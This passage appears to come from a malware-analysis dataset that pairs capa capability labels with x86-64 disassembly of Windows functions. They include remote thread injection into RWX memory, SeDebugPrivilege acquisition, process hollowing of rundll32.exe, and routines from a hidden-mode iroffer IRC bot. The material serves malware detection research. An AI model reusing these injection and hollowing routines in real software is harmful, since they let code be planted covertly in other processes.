joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400013a0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x60], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x64], 0
cmp qword [rsp + 0x80], 0
je 0x14000141a
cmp qword [rsp + 0x88], 0
je 0x14000141a
cmp dword [rsp + 0x90], 0
jne 0x14000141f
jmp 0x140001507
mov rcx, qword [rsp + 0x88]
call fcn.140001160
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x14000143c
jmp 0x140001507
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140001476
jmp 0x140001507
mov eax, dword [rsp + 0x90]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400014aa
jmp 0x140001507
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x58]
mov r8d, 0x100000
xor edx, edx
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x50], rax
xor eax, eax
test eax, eax
jne 0x1400013fa
jmp 0x140001512
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140002120
add rsp, 0x78
ret
Function at 0x140001530
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0xffffffffffffffff
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x80000000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x1400015b7
jmp 0x14000163d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x1400015d1
jmp 0x14000163d
mov eax, dword [rsp + 0x40]
mov edx, 1
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rcx, qword [rsp + 0x78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x78]
cmp qword [rax], 0
jne 0x1400015f7
jmp 0x14000163d
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0x40]
mov rax, qword [rsp + 0x78]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rax, qword [rsp + 0x80]
mov ecx, dword [rsp + 0x50]
mov dword [rax], ecx
mov dword [rsp + 0x44], 1
xor eax, eax
test eax, eax
jne 0x140001573
cmp dword [rsp + 0x44], 0
jne 0x14000165a
mov rax, qword [rsp + 0x78]
cmp qword [rax], 0
je 0x14000165a
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x14000166d
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002120
add rsp, 0x68
ret

Function at 0x140001690
Capabilities:
Acquire debug privileges

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000174b
mov dword [rsp + 0x38], 1
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x44], 2
mov eax, 0xc
imul rax, rax, 0
lea rax, [rsp + rax + 0x3c]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140001740
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140002120
add rsp, 0x50
pop rdi
ret
Function at 0x140001770
Capabilities:
Allocate or change rwx memory

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x30], 0
mov rax, qword [rsp + 0x68]
and rax, 0xfffffffffff70000
sub rax, 0x70000000
mov qword [rsp + 0x38], rax
jmp 0x1400017b3
mov rax, qword [rsp + 0x38]
add rax, 0x10000
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x68]
add rax, 0x70000000
cmp qword [rsp + 0x38], rax
jae 0x140001805
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, eax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1400017f9
jmp 0x1400017a3
mov dword [rsp + 0x30], 1
jmp 0x140001805
cmp dword [rsp + 0x30], 0
je 0x140001818
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
jmp 0x140001821
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0x40]
add rsp, 0x58
ret
Function at 0x13fb81140
Capabilities:
Check os version

Disassembly:
push rbx
sub rsp, 0x150
mov rax, qword [0x13fb933b8]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x110
xor ebx, ebx
call sub.vcruntime140.dll_memset
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x114
call qword [sym.imp.kernel32.dll_GetVersionExW]
mov r9d, dword [rsp + 0x30]
lea rcx, [0x13fb88728]
mov r8d, dword [rsp + 0x28]
mov edx, dword [rsp + 0x24]
call fcn.13fb82590
cmp dword [rsp + 0x30], 2
jne 0x13fb811cf
cmp dword [rsp + 0x24], 0xa
jne 0x13fb811c1
cmp dword [rsp + 0x28], ebx
jne 0x13fb811c1
lea rcx, [0x13fb88750]
call fcn.13fb82590
mov ebx, 5
mov ecx, dword [rsp + 0x2c]
mov dword [0x13fb9341c], ecx
test ebx, ebx
jne 0x13fb811db
lea rcx, [0x13fb88778]
call fcn.13fb82590
lea rcx, [0x13fb88794]
call fcn.13fb82590
mov eax, ebx
mov dword [0x13fb93418], ebx
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.13fb87030
add rsp, 0x150
pop rbx
ret
Function at 0x13fb835c0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
mov eax, 0x2030
call fcn.13fb87300
sub rsp, rax
mov rax, qword [0x13fb933b8]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov rdi, rdx
mov edx, 0x5c
call sub.vcruntime140.dll_wcsrchr
mov r8d, 0x7ff
lea rdx, [rsp + 0x1020]
lea rcx, [0x13fb8f508]
mov rbx, rax
call qword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
test eax, eax
jle 0x13fb83693
test rbx, rbx
je 0x13fb83693
xor ecx, ecx
nop dword [rax + rax]
movzx eax, word [rsp + rcx + 0x1020]
mov word [rsp + rcx + 0x20], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x13fb83620
lea rcx, [rsp + 0x20]
sub rcx, 2
nop
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x13fb83640
mov eax, dword [0x13fb8f504]
mov dword [rcx], eax
lea rax, [rsp + 0x20]
sub rax, 2
nop dword [rax]
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x13fb83660
xor r8d, r8d
nop
movzx ecx, word [rbx + r8*2 + 2]
mov word [rax + r8*2], cx
lea r8, [r8 + 1]
test cx, cx
jne 0x13fb83670
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.13fb834f0
jmp 0x13fb83698
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.13fb87030
mov rbx, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret
Function at 0x13fb86410
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
sub rsp, 0x108
mov qword [rax + 8], rbx
xor ebx, ebx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax - 8], rdi
mov rdi, r8
mov qword [rax - 0x10], r12
mov r12, rdx
mov qword [rax - 0x18], r13
lea r13d, [rbx + 0x20]
mov qword [rax - 0x20], r14
mov qword [rax - 0x28], r15
movsxd r14, ecx
test ecx, ecx
jle 0x13fb86488
mov rsi, rdx
mov ebp, r14d
mov rcx, qword [rsi]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x13fb86460
inc eax
mov edx, r13d
add ebx, eax
call sub.vcruntime140.dll_wcschr
test rax, rax
je 0x13fb8647e
add ebx, 2
add rsi, 8
sub rbp, 1
jne 0x13fb86453
test rdi, rdi
je 0x13fb864a0
mov rax, 0xffffffffffffffff
inc rax
cmp word [rdi + rax*2], 0
jne 0x13fb86494
add ebx, eax
lea eax, [rbx + 1]
movsxd rcx, eax
add rcx, rcx
call sub.ucrtbase.dll_malloc
mov rbx, rax
mov r15, rax
mov rbp, r14
test r14d, r14d
jle 0x13fb8654d
xor esi, esi
lea r14d, [rsi + 0x22]
nop word [rax + rax]
mov rcx, qword [r12 + rsi*8]
mov edx, r13d
call sub.vcruntime140.dll_wcschr
mov r9, rax
test rax, rax
je 0x13fb864ec
mov word [rbx], r14w
add rbx, 2
mov rdx, qword [r12 + rsi*8]
mov r8, rbx
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [rdx]
lea rdx, [rdx + 2]
mov word [r8], cx
lea r8, [r8 + 2]
test cx, cx
jne 0x13fb86500
mov rcx, qword [r12 + rsi*8]
mov rax, 0xffffffffffffffff
nop
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x13fb86520
lea rbx, [rbx + rax*2]
test r9, r9
je 0x13fb8653d
mov word [rbx], r14w
add rbx, 2
mov word [rbx], r13w
inc rsi
add rbx, 2
cmp rsi, rbp
jl 0x13fb864d0
mov r14, qword [rsp + 0xe8]
mov r13, qword [rsp + 0xf0]
mov r12, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0x120]
mov rbp, qword [rsp + 0x118]
test rdi, rdi
je 0x13fb86590
mov rcx, rbx
sub rcx, rdi
movzx eax, word [rdi]
mov word [rcx + rdi], ax
lea rdi, [rdi + 2]
test ax, ax
jne 0x13fb86580
xorps xmm0, xmm0
xor ecx, ecx
mov word [rbx], cx
xor eax, eax
mov dword [rsp + 0xd4], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x48], rax
mov rdx, r15
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.kernel32.dll_CreateProcessW]
mov r15, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0x100]
mov rbx, qword [rsp + 0x110]
test eax, eax
jne 0x13fb8664f
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
lea rcx, [0x13fb8fb60]
call fcn.13fb82590
xor eax, eax
add rsp, 0x108
ret
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
add rsp, 0x108
ret
Function at 0x13fb86680
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, rdx
mov rbp, rcx
xor ebx, ebx
nop dword [rax]
mov rdx, rsi
mov rcx, rbp
call sub.ucrtbase.dll__wrename
mov edi, eax
test eax, eax
je 0x13fb866c7
xor edx, edx
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_SleepEx]
inc ebx
cmp ebx, 3
jl 0x13fb866a0
mov eax, edi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
sub rsp, 0x5b8
mov edx, 0x68
lea rcx, [rsp + 0x70]
call section..text
mov dword [rsp + 0x70], 0x68
call fcn.1800011f0
test eax, eax
je 0x180001199
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180001199
mov dword [rsp + 0x110], 0x100003
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, section..data
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1d8], rax
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x10040c489
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov r8d, 0x2a1
lea rdx, global___FUNCTION__.237
lea rcx, str.src.it_iroffer_misc.c
call dbg.updatecontext_f
lea rcx, str._n_Entro_in_modalit_nascosta_n_Tutti_i_comandi_devono_essere_eseguiti_come_Amministratore_remoto
call sym.puts
call sym.__getreent
mov rcx, qword [rax + 0x10]
call sym.fflush
call sym.__getreent
mov rcx, qword [rax + 0x18]
call sym.fflush
call sym.fork
test eax, eax
jns 0x10040c521
call sym.__errno
mov ecx, dword [rax]
call sym.strerror
mov r8, rax
lea rdx, str.Unable_to_Fork:__s
mov ecx, 0
call dbg.outerror
mov ecx, 0
call dbg.event_close
mov ecx, 1
call dbg.event_close
mov ecx, 2
call dbg.event_close
call sym.setsid
test eax, eax
jns 0x10040c54f
jmp 0x10040c52f
test eax, eax
jle 0x10040c4f8
mov ecx, 0
call sym.exit
call sym.__errno
mov ecx, dword [rax]
call sym.strerror
mov r8, rax
lea rdx, str.Couldnt_setsid:__s
mov ecx, 0
call dbg.outerror
call sym.fork
test eax, eax
jns 0x10040c57a
call sym.__errno
mov ecx, dword [rax]
call sym.strerror
mov r8, rax
lea rdx, str.Unable_to_Fork:__s
mov ecx, 0
call dbg.outerror
jmp 0x10040c588
test eax, eax
jle 0x10040c588
mov ecx, 0
call sym.exit
mov edx, 2
lea rcx, str._dev_null
call sym.open
mov ebx, eax
mov ecx, eax
call sym.dup
mov ecx, ebx
call sym.dup
lea rcx, str.Selezionata_la_modalit_nascosta
call dbg.mylog
mov rax, qword [0x1004632d0]
mov dword [rax + 0x7964], 2
add rsp, 0x20
pop rbx
ret

Function at 0x10040dbfe
Capabilities:
Write file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rdi, qword [0x1004632d0]
mov r8d, 0xb820
mov edx, 0
mov rcx, rdi
call sym.memset
call dbg.config_reset
lea rbx, [rdi + 0x48]
add rdi, 0x7208
mov rsi, qword [0x1004632e0]
mov qword [rsi], rbx
call dbg.initprefixes
mov rax, qword [rsi]
mov qword [rax + 0x220], 0
mov qword [rax + 0x228], 0
mov byte [rax + 0x220], 0x62
mov byte [rax + 0x221], 0x6c
mov dword [rbx + 0xb28], 0
add rbx, 0xb60
cmp rbx, rdi
jne 0x10040dc36
mov rax, qword [0x1004632e0]
mov qword [rax], 0
mov rbx, qword [0x1004632d0]
mov dword [rbx + 0xb80c], 0xffffffff
mov dword [rbx + 0xb784], 0x50
mov dword [rbx + 0xb788], 0x18
movabs rax, 0xffffffffff
mov qword [rbx + 0xa980], rax
lea rsi, [rsp + 0x30]
mov edx, 0
mov rcx, rsi
call sym.gettimeofday
mov rcx, rsi
call dbg.timeval_to_ms
mov qword [rbx + 0xa9e0], rax
mov rax, qword [rsp + 0x30]
mov qword [rbx + 0xa9d0], rax
mov qword [rbx + 0xa988], rax
mov dword [rsp + 0x20], 0x5e9
lea r9, str.src.it_iroffer_misc.c
lea r8, global___FUNCTION__.300
mov edx, 1
mov ecx, 0x111c
call dbg.mymalloc2
mov qword [rbx + 0xb718], rax
mov dword [rsp + 0x20], 0x5ea
lea r9, str.src.it_iroffer_misc.c
lea r8, global___FUNCTION__.300
mov edx, 1
mov ecx, 0x800
call dbg.mymalloc2
mov qword [rbx + 0xb710], rax
mov rax, qword [rbx + 0xa9d0]
mov qword [rbx + 0xa9c0], rax
mov qword [rbx + 0xa9c8], rax
lea rdx, [0x100450409]
mov ecx, 2
call sym.setlocale
test rax, rax
jne 0x10040dd97
call sym.__getreent
mov r9, qword [rax + 0x18]
mov r8d, 0x4a
mov edx, 1
lea rcx, str.Non_posso_settare_il_parametro_selezionato__Check_LANG__LC_CTYPE__LC_ALL._n
call sym.fwrite
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
Function at 0x10040eb6e
Capabilities:
Get file attributes

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0xb0
mov rsi, rcx
lea rdx, [rsp + 0x30]
mov rcx, qword [rcx]
call sym.stat
test eax, eax
jns 0x10040ebd5
call sym.__errno
mov ecx, dword [rax]
call sym.strerror
mov rdi, rax
mov rbx, qword [rsi]
mov rcx, rsi
call dbg.number_of_pack
mov r8d, eax
mov qword [rsp + 0x20], rdi
mov r9, rbx
lea rdx, str.Pack__u:_Il_file__s_non__pi_disponibile:__s
mov ecx, 2
call dbg.outerror
call sym.__errno
cmp dword [rax], 2
sete al
movzx eax, al
jmp 0x10040ed1b
cmp qword [rsp + 0x58], 0
jne 0x10040ebf1
mov r8, qword [rsi]
lea rdx, str.Il_file__s__grande_0_byte
mov ecx, 2
call dbg.outerror
mov rax, qword [rsp + 0x58]
mov rdx, qword [0x1004632d0]
cmp rax, qword [rdx + 0xa980]
jg 0x10040ec0e
shr rax, 0x3f
test al, al
je 0x10040ec22
mov r8, qword [rsi]
lea rdx, str.Il_file__s__troppo_grande
mov ecx, 2
call dbg.outerror
mov eax, dword [rsp + 0x30]
mov dword [rsi + 0x60], eax
mov rax, qword [rsp + 0x38]
mov qword [rsi + 0x68], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsi + 0x70], rax
jne 0x10040ec4c
mov rax, qword [rsp + 0x58]
cmp qword [rsi + 0x58], rax
je 0x10040ed16
mov rax, qword [0x1004632d0]
mov rdx, qword [rax + 0x7738]
test rdx, rdx
je 0x10040ec6b
mov rcx, qword [rsi]
call sym.strcmp
test eax, eax
je 0x10040ec9c
mov rax, qword [0x1004632d0]
mov ebx, dword [rax + 0x7914]
test ebx, ebx
je 0x10040ec88
mov rcx, rsi
call dbg.number_of_pack
cmp ebx, eax
je 0x10040ec9c
mov r8, qword [rsi]
lea rdx, [0x100450f16]
mov ecx, 2
call dbg.outerror
mov rax, qword [rsp + 0x70]
mov qword [rsi + 0x70], rax
mov rax, qword [rsp + 0x58]
mov qword [rsi + 0x58], rax
mov rcx, qword [0x1004632d0]
add rcx, 0xb5c8
call dbg.irlist_get_head
mov rbx, rax
test rax, rax
je 0x10040ed00
lea rdi, [0x100450f2f]
cmp dword [rbx + 0x118], 6
je 0x10040ecf0
cmp rsi, qword [rbx + 0x78]
jne 0x10040ecf0
mov r8d, 0
mov rdx, rdi
mov rcx, rbx
call dbg.t_closeconn
mov rcx, rbx
call dbg.irlist_get_next
mov rbx, rax
test rax, rax
jne 0x10040ecd0
lea rdx, str.file_cambiato
mov rcx, rsi
call dbg.cancel_md5_hash
mov eax, 0
jmp 0x10040ed1b
mov eax, 0
add rsp, 0xb0
pop rbx
pop rsi
pop rdi
ret
Function at 0x100412faf
Capabilities:
Encode data using base64
Receive data
Receive data on socket

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbx, rcx
mov r8d, 0x1f8
lea rdx, global___FUNCTION__.322
lea rcx, str.src.it_iroffer_transfer.c
call dbg.updatecontext_f
mov rsi, qword [0x1004632d0]
mov rdx, qword [rsi + 0xb718]
mov ecx, dword [rbx + 0x88]
mov r9d, 0x10
mov r8d, 0x111c
call sym.recv
mov r12, rax
mov edi, eax
cmp dword [rsi + 0x78b8], 0x34
jbe 0x100413053
mov r9d, eax
lea r8, str.Read__d:
mov edx, 0x22
mov ecx, 1
call dbg.ioutput
mov rax, qword [0x1004632d0]
mov r9, qword [rax + 0xb718]
movsxd rax, r12d
mov qword [rsp + 0x20], rax
lea r8, [0x10045219a]
mov edx, 0x22
mov ecx, 1
call dbg.hexdump
test r12d, r12d
jns 0x100413074
call sym.__errno
mov r8d, dword [rax]
lea rdx, [0x10045208c]
mov rcx, rbx
call dbg.t_closeconn
jmp 0x1004131ec
test r12d, r12d
jg 0x100413093
mov r8d, 0
lea rdx, [0x10045208c]
mov rcx, rbx
call dbg.t_closeconn
jmp 0x1004131ec
mov rax, qword [0x1004632d0]
mov rax, qword [rax + 0xa9d0]
mov qword [rbx + 0xa0], rax
mov esi, 0
mov r15d, 3
mov ebp, 0xff
mov r14, qword [0x1004632d0]
mov r13, r14
cmp dword [rbx + 0x11c], 0
je 0x100413118
mov rdx, rsi
add rdx, qword [rbx + 0x10]
mov rax, rdx
sar rax, 0x3f
shr rax, 0x3d
add rdx, rax
and edx, 7
sub eax, edx
lea edx, [rax + 7]
lea ecx, [rdx*8]
mov rax, rbp
shl rax, cl
not rax
and rax, qword [rbx + 0x20]
mov qword [rbx + 0x20], rax
mov r8, qword [r13 + 0xb718]
movzx r8d, byte [r8 + rsi]
shl r8, cl
or rax, r8
mov qword [rbx + 0x20], rax
jmp 0x100413161
mov rax, rsi
add rax, qword [rbx + 0x10]
cqo
shr rdx, 0x3e
add rax, rdx
and eax, 3
sub rax, rdx
mov edx, r15d
sub edx, eax
lea ecx, [rdx*8]
mov rax, rbp
shl rax, cl
not rax
and rax, qword [rbx + 0x20]
mov qword [rbx + 0x20], rax
mov r8, qword [r14 + 0xb718]
movzx r8d, byte [r8 + rsi]
shl r8, cl
or rax, r8
mov qword [rbx + 0x20], rax
test edx, edx
jne 0x1004131d9
mov rcx, rbx
call dbg.verify_acknowlede
mov rdx, qword [rbx + 0x20]
mov qword [rbx + 0x18], rdx
cmp dword [rbx + 0x118], 5
sete cl
movzx ecx, cl
add eax, ecx
mov rcx, qword [0x1004632d0]
cmp dword [rcx + 0x78b8], 0x36
jbe 0x1004131d9
test eax, eax
jle 0x1004131d9
mov qword [rsp + 0x30], rdx
mov eax, dword [rbx + 4]
imul rax, rax, 0xb60
mov rax, qword [rcx + rax + 0xa90]
mov qword [rsp + 0x28], rax
mov rax, qword [rbx + 0xf8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbx]
lea r8, str.XDCC___02i:_s_on__s_:_Acknowleged__ld_Bytes
mov edx, 0x22
mov ecx, 1
call dbg.ioutput
add rsi, 1
cmp edi, esi
jg 0x1004130c2
movsxd r12, r12d
add qword [rbx + 0x10], r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x100413824
Capabilities:
Connect socket
Convert ip address from string
Get local ipv4 addresses
Get socket information

Disassembly:
push rsi
push rbx
sub rsp, 0xc8
mov rbx, rcx
mov r8d, 0x33
lea rdx, global___FUNCTION__.55
lea rcx, [0x1004524d0]
call dbg.updatecontext_f
lea rdx, [rsp + 0x30]
mov rcx, rbx
call dbg.l_setup_file
cmp eax, 2
jne 0x10041389c
mov rcx, qword [rbx + 0xa8]
call dbg.getsendname
mov rsi, rax
movzx r9d, word [rbx + 0x32]
mov rcx, qword [rbx + 0x98]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r8, rsi
lea rdx, [0x10045259c]
call dbg.privmsg_fast
mov rcx, rsi
call dbg.mydelete2
jmp 0x100413a5f
test eax, eax
jne 0x100413a5f
lea rsi, [rbx + 0x34]
mov qword [rbx + 0x34], 0
mov qword [rsi + 8], 0
mov qword [rsi + 0x10], 0
mov dword [rsi + 0x18], 0
mov r8d, 0
mov edx, 1
mov ecx, dword [rbx]
call sym.socket
mov dword [rbx + 8], eax
test eax, eax
jns 0x1004138fc
call sym.__errno
mov r8d, dword [rax]
lea rdx, [0x1004525b3]
mov rcx, rbx
call dbg.l_closeconn
jmp 0x100413a5f
cmp dword [rbx], 2
jne 0x10041392c
mov dword [rsp + 0xbc], 0x10
mov word [rbx + 0x34], 2
movzx eax, word [rbx + 0x32]
xchg ah, al
mov word [rbx + 0x36], ax
mov rcx, qword [rbx + 0x10]
call dbg.atoul
bswap eax
mov dword [rbx + 0x38], eax
jmp 0x100413972
mov dword [rsp + 0xbc], 0x1c
mov word [rbx + 0x34], 0x17
movzx eax, word [rbx + 0x32]
xchg ah, al
mov word [rbx + 0x36], ax
mov rdx, qword [rbx + 0x10]
lea r8, [rbx + 0x3c]
mov ecx, 0x17
call sym.inet_pton
test eax, eax
jns 0x100413972
mov r8, qword [rbx + 0x10]
lea rdx, [0x1004525c1]
mov ecx, 1
call dbg.outerror
mov edx, dword [rbx + 8]
mov ecx, dword [rbx]
call dbg.bind_irc_vhost
test eax, eax
je 0x10041399c
call sym.__errno
mov r8d, dword [rax]
lea rdx, [0x1004525d8]
mov rcx, rbx
call dbg.l_closeconn
jmp 0x100413a5f
mov ecx, dword [rbx + 8]
call dbg.ir_setsockopt
mov ecx, 5
call sym.alarm
mov ecx, dword [rbx + 8]
mov r8d, dword [rsp + 0xbc]
mov rdx, rsi
call sym.connect
test eax, eax
jns 0x1004139fc
call sym.__errno
cmp dword [rax], 0x77
je 0x1004139fc
call sym.__errno
cmp dword [rax], 0xb
je 0x1004139fc
call sym.__errno
mov r8d, dword [rax]
lea rdx, [0x10045260b]
mov rcx, rbx
call dbg.l_closeconn
mov ecx, 0
call sym.alarm
jmp 0x100413a5f
mov ecx, 0
call sym.alarm
mov dword [rsp + 0xbc], 0x1c
mov ecx, dword [rbx + 8]
lea r8, [rsp + 0xbc]
mov rdx, rsi
call sub.cygwin1.dll_getsockname
test eax, eax
jns 0x100413a41
call sym.__errno
mov r8d, dword [rax]
